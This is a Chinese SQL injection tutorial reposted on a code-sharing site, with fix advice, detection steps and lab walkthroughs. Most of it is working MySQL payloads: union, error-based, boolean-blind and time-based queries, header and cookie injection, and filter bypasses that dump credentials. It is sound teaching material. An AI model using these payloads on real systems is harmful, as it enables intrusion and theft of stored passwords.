SQL注入漏洞知識總結


目錄:

一、SQL注入漏洞介紹

二、修復建議

三、通用姿勢

四、具體實例

五、各種繞過

 

 

一、SQL注入漏洞介紹:

      SQL注入攻擊包括通過輸入數據從客戶端插入或“注入”SQL查詢到應用程序。一個成功的SQL注入攻擊可以從數據庫中獲取敏感數據、修改數據庫數據(插入/更新/刪除)、執行數據庫管理操作(如關閉數據庫管理系統)、恢復存在於數據庫文件系統中的指定文件內容,在某些情況下能對操作系統發布命令。SQL注入攻擊是一種注入攻擊。它將SQL命令注入到數據層輸入,從而影響執行預定義的SQL命令。由於用戶的輸入,也是SQL語句的一部分,所以攻擊者可以利用這部分可以控制的內容,注入自己定義的語句,改變SQL語句執行邏輯,讓數據庫執行任意自己需要的指令。通過控制部分SQL語句,攻擊者可以查詢數據庫中任何自己需要的數據,利用數據庫的一些特性,可以直接獲取數據庫服務器的系統權限。

二、修復建議

  1. 使用參數化查詢接口或在代碼級對帶入SQL語句中的外部參數進行轉義或過濾;
  2. 對於整數,判斷變量是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;
  3. 對於字符串,對SQL語句特殊字符進行轉義(單引號轉成兩個單引號,雙引號轉成兩個雙引號)。

三、通用姿勢

3.1 通過以下操作先大概判斷是否存在注入點

  1. 如果參數(id)是數字,測試id=2-1與id=1返回的結果是否相同,如果做了2-1=1的運算,說明可能存在數字型注入。如果要用+號運算的話,因為URL編碼的問題,需要把加好換成%2B,如id=1%2B1
  2. 在參數后面加單引號或雙引號,判斷返回結果是否有報錯
  3. 添加注釋符,判斷前后是否有報錯,如id=1' --+ 或 id=1" --+ 或id=1' # 或id=1" --+  (--后面跟+號,是把+當成空格使用)
  4. 有些參數可能在括號里面,如:SELECT first_name, last_name FROM users WHERE user_id = ('$id');所以也可以在參數后面加單雙引號和括號,如id=1')  --+ 或 id=1") --+ 或id=1') # 或id=1") --+ 
  5. 參數后面跟or 或者and,判斷返回結果是否有變化,如1' or 'a'='a  或者and 'a'='a或者1' or 'a'='b或者1' or '1'='2
  6.   如果返回的正確頁面與錯誤頁面都一樣,可以考慮時間延遲的方法判斷是否存在注入,如  1’ and sleep(5)

3.2 如果存在注入,利用注入獲取信息

3.2.1 查詢結果如果可以直接返回

利用聯合查詢一步步的獲取信息,如:

 

// 獲取數據庫名稱,注意聯合查詢要求前后查詢的列數和數據類型必須對應
1' union select schema_name ,1 from information_schema.schemata --
//根據上一步獲取的數據庫名稱,獲取表名
1' union select table_name from information_schema.tables where table_schema='database_name'
//根據上面的數據庫名稱和表名獲取字段名
1' union select column_name from information_schema.columns where table_schema='database_name' and table_name='table_name'
//獲取字段值,使用group_concat的目的是把查詢結果合並成1列,另外,如果跨數據庫查詢值得花,需要使用數據庫名.表明的格式,比如information_schema.schemata
1′ union select group_concat(user_id,first_name,last_name),group_concat(password) from 數據庫名.表名

3.2.2 通過報錯回顯查詢結果,如:

#利用報錯回顯查詢到的值,回顯當前的數據庫名
and extractvalue(1,concat(0x7e,(select database())))
#回顯表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))

#回顯列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))

3.2.3 布爾型注入,如:

 #判斷數據庫名的長度是多少
SELECT * FROM users where id ='1' and LENGTH(database())=8    

# 二分查找發挨個判斷數據庫名稱的每個字母
SELECT * FROM users where id ='1' and ascii(substr((select database()),1,1))>115   

#挨個判斷此數據庫中表的每個字母
SELECT * FROM users where id ='1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))>116  

3.2.4 時間延遲注入,如:

 

and IF(ascii(substr((select database()),1,1))>115,1,sleep(5)) 

 

四、具體實例

4.1  字符型(參數在單引號內,直接返回結果)

 步驟1:參數后面加一個單引號報SQL錯誤

分析:單引號報錯,所以參數在兩個單引號里面,通過閉合單引號、聯合查詢直接查詢到數據庫數據

步驟2:構造payload 

 id=0' union select NULL,database(),NULL --+   #查詢當前數據庫的名稱

#爆庫名

id=0' union select null,group_concat(schema_name),null from information_schema.schemata --+

#爆表名

id=0' union select null,group_concat(table_name),null from information_schema.tables where table_schema='security' --+

#爆字段名

id=0' union select null,group_concat(column_name),null from information_schema.columns where table_schema='security' and table_name='users' --+

 

#獲取數據庫中的數據

id=0' union select null,group_concat(username,0x3a,password),null from security.users--+

 

4.2  數字型(直接返回結果)

 步驟1:id=1與id=2-1返回相同結果,數字型注入

步驟2:構造payload

無需引號閉合,id后面直接跟聯合索引就行了

#爆庫名

4.3  字符型(參數在單引號和括號內、直接返回結果)

步驟1:輸入單引號報錯,根據報錯可知參數在單引號和括號內

步驟2:閉合查詢

用單引號、括號和注釋閉合查詢,payload: id=1') --+

步驟3:各種爆,與上面的操作相同

4.4  布爾型(參數在單引內、不返回查詢結果)

步驟1:輸入單引號報錯,根據報錯得知參數在單引號內,構造id=1' --+返回正確頁面,確認存在注入

步驟2:查詢結果不返回,根據id=1' and 1=1 --+  與 id=1' and 1=2 --+返回結果不同,判斷存在布爾型注入

步驟3:構造payload,先判斷數據庫名的長度,id=1' ' and LENGTH(database())=8 --+  值等於8的時候返回正確的頁面,說明數據庫長度為8

步驟4:通過二分查找法,挨個判斷數據庫名稱的每個字母

id=1' and ascii(substr((select database()),1,1))>110  --+  #判斷第一個字母的ascii是否大於110,返回正確頁面,說明大於110
id=1' and ascii(substr((select database()),1,1))>118  --+  #判斷第一個字母的ascii是否大於118,返回不正確頁面,說明小與等於118
id=1' and ascii(substr((select database()),1,1))>115  --+  #判斷第一個字母的ascii是否大於115,返回不正確頁面,說明小與等於115
id=1' and ascii(substr((select database()),1,1))>113  --+  #判斷第一個字母的ascii是否大於113,返回正確頁面,說明大與113

id=1' and ascii(substr((select database()),1,1))>114 --+ #判斷第一個字母的ascii是否大於114,返回正確頁面,說明大與114

大於114,小於等於115,第一個字母的ascii值肯定就是115了,所以第一個字母就是s,依次類推可以查到剩下的所有字母。


4.5 布爾型(參數在單引內和兩個括號內、不返回查詢結果)
步驟1:輸入單引號報錯,但沒有詳細的報錯提示

 

步驟2:增加1個括號也報錯,增加2個括號返回正確

 

步驟3:布爾型,不返回查詢結果,payload與上面的相同。

4.6 時間延遲注入(無論查詢是否正確都返回一樣的頁面)

步驟1:如論輸入什么,都返回一樣的頁面,所以考慮時間延遲注入

步驟2:直接1 and sleep(5) --+  沒延遲,說明查詢語句沒有閉合成功

步驟3:猜測參數在單引號內,構造payload:id=1' and sleep(5) --+  頁面相應延遲,存在注入

步驟4:構造payload,當數據庫名長度為8的時候沒有延遲,說明數據庫名稱的長度就是8

id=1'  AND IF(LENGTH(database())=8,1,sleep(10)) --+

 步驟5:通過如下方式,挨個判斷數據庫名的字母

 id=1'  and IF(ascii(substr((select database()),1,1))>115,1,sleep(5)) --+

 4.7 字符型報錯注入(錯誤值被返回)

步驟1:按下面的測試,username字段存在字符型注入,參數在單引號內

步驟2:username字段輸入一些無關的東西,SQL報錯詳情被回顯

步驟3:利用extractvalue函數,讓執行的結果以報錯的方式顯示出來

extractvalue(目標xml文檔,xml路徑),第二個參數的格式是/xxx/xx/xx/xx,如果格式不正確就會把報錯顯示出來

構造payload:uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+

 

 4.7 user-agent類型的注入

步驟1:user-agent的值被原封返回了

 

 步驟2:這里需要借助源碼審計了,否則不容易猜到真實的sql語句。

如下源碼所示,SQL語句是三個字段的insert語句,然后$uagent被返回。 

 

步驟3:結合報錯注入,構造payload:

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', extractvalue(1,concat(0x7e,(select database()))),'1') #

 

 4.8 Referer類型的注入
方法與上述相同,先閉合sql語句,然后利用報錯返回,payload如下:

Referer: http://127.0.0.1/sql/Less-19/',extractvalue(1,concat(0x7e,(select database()))))#

 

 4.9 Cookie類型的注入

步驟1:輸入單引號報錯,確認屬於cookie類型的注入,而且報錯回顯了,利用報錯回顯數據

步驟2:構造payload

Cookie: uname=admin' and extractvalue(1,concat(0x7e,(select database()))) #

 

五、各種繞過

 5.1 注釋符被過濾(--、#)

方法1:union查詢中多加一個單引號以便閉合sql語句,比如:

id=0' union select null,database(),'null
id=0' union select null,group_concat(schema_name),null from information_schema.schemata union select null,null,'nul

 5.2 空格被過濾

方法1:使用/**/注釋符代替空格

未完待續……

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM